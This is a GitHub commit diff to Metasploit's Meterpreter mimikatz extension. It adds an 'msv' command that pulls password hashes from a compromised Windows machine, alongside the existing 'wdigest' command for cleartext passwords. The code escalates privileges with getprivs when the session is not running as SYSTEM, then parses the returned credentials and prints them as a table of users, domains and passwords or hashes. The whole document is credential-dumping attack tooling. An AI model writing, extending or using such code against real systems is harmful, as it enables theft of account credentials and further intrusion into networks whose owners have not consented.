Skip to content

Commit ddaa09e

Browse files
committed
Added msv
1 parent 83578de commit ddaa09e

File tree

2 files changed

+71
-23
lines changed

2 files changed

+71
-23
lines changed

lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb

Lines changed: 21 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -33,7 +33,7 @@ def initialize(client)
3333
])
3434
end
3535

36-
def wdigest()
36+
def wdigest
3737
request = Packet.create_request('mimikatz_wdigest')
3838
response = client.send_request(request)
3939
result = Rex::Text.to_ascii(response.get_tlv_value(TLV_TYPE_MIMIKATZ_RESULT))
@@ -51,8 +51,27 @@ def wdigest()
5151
accounts << account
5252
end
5353
return accounts
54-
end
54+
end
55+
56+
def msv
57+
request = Packet.create_request('mimikatz_msv1_0')
58+
response = client.send_request(request)
59+
result = Rex::Text.to_ascii(response.get_tlv_value(TLV_TYPE_MIMIKATZ_RESULT))
5560

61+
details = CSV.parse(result)
62+
accounts = []
63+
details.each do |acc|
64+
account = {
65+
:authid => acc[0],
66+
:package => acc[1],
67+
:user => acc[2],
68+
:domain => acc[3],
69+
:password => acc[4]
70+
}
71+
accounts << account
72+
end
73+
return accounts
74+
end
5675
end
5776

5877
end; end; end; end; end

lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb

Lines changed: 50 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -30,37 +30,66 @@ def initialize(shell)
3030
def commands
3131
{
3232
"wdigest" => "Attempt to retrieve cleartext wdigest passwords",
33+
"msv" => "Attempt to retrieve hashes",
3334
}
3435
end
3536

3637
def cmd_wdigest(*args)
37-
system_privilege_check
38-
print_status("Getting privileges")
39-
client.sys.config.getprivs
40-
print_status("Retrieving passwords")
41-
accounts = client.mimikatz.wdigest
42-
43-
table = Rex::Ui::Text::Table.new(
44-
'Indent' => 0,
45-
'SortIndex' => 4,
46-
'Columns' =>
47-
[
48-
'AuthID', 'Package', 'Domain', 'User', 'Password'
49-
]
50-
)
51-
52-
accounts.each do |acc|
53-
table << [acc[:authid], acc[:package], acc[:domain], acc[:user], acc[:password]]
54-
end
38+
unless system_check
39+
print_status("Attempting to get getprivs")
40+
client.sys.config.getprivs
41+
end
42+
print_status("Retrieving passwords")
43+
accounts = client.mimikatz.wdigest
44+
45+
table = Rex::Ui::Text::Table.new(
46+
'Indent' => 0,
47+
'SortIndex' => 4,
48+
'Columns' =>
49+
[
50+
'AuthID', 'Package', 'Domain', 'User', 'Password'
51+
]
52+
)
53+
54+
accounts.each do |acc|
55+
table << [acc[:authid], acc[:package], acc[:domain], acc[:user], acc[:password]]
56+
end
5557

56-
table.print
58+
table.print
5759

58-
return true
60+
return true
61+
end
62+
63+
def cmd_msv(*args)
64+
unless system_check
65+
print_status("Attempting to get getprivs")
66+
client.sys.config.getprivs
67+
end
68+
print_status("Retrieving passwords")
69+
accounts = client.mimikatz.msv
70+
71+
table = Rex::Ui::Text::Table.new(
72+
'Indent' => 0,
73+
'SortIndex' => 4,
74+
'Columns' =>
75+
[
76+
'AuthID', 'Package', 'Domain', 'User', 'Hash'
77+
]
78+
)
79+
80+
accounts.each do |acc|
81+
table << [acc[:authid], acc[:package], acc[:domain], acc[:user], acc[:password]]
82+
end
83+
84+
table.print
85+
86+
return true
5987
end
6088

61-
def system_privilege_check
89+
def system_check
6290
if (client.sys.config.getuid != "NT AUTHORITY\\SYSTEM")
6391
print_warning("Not currently running as SYSTEM")
92+
return false
6493
end
6594

6695
return true

0 commit comments

Comments
 (0)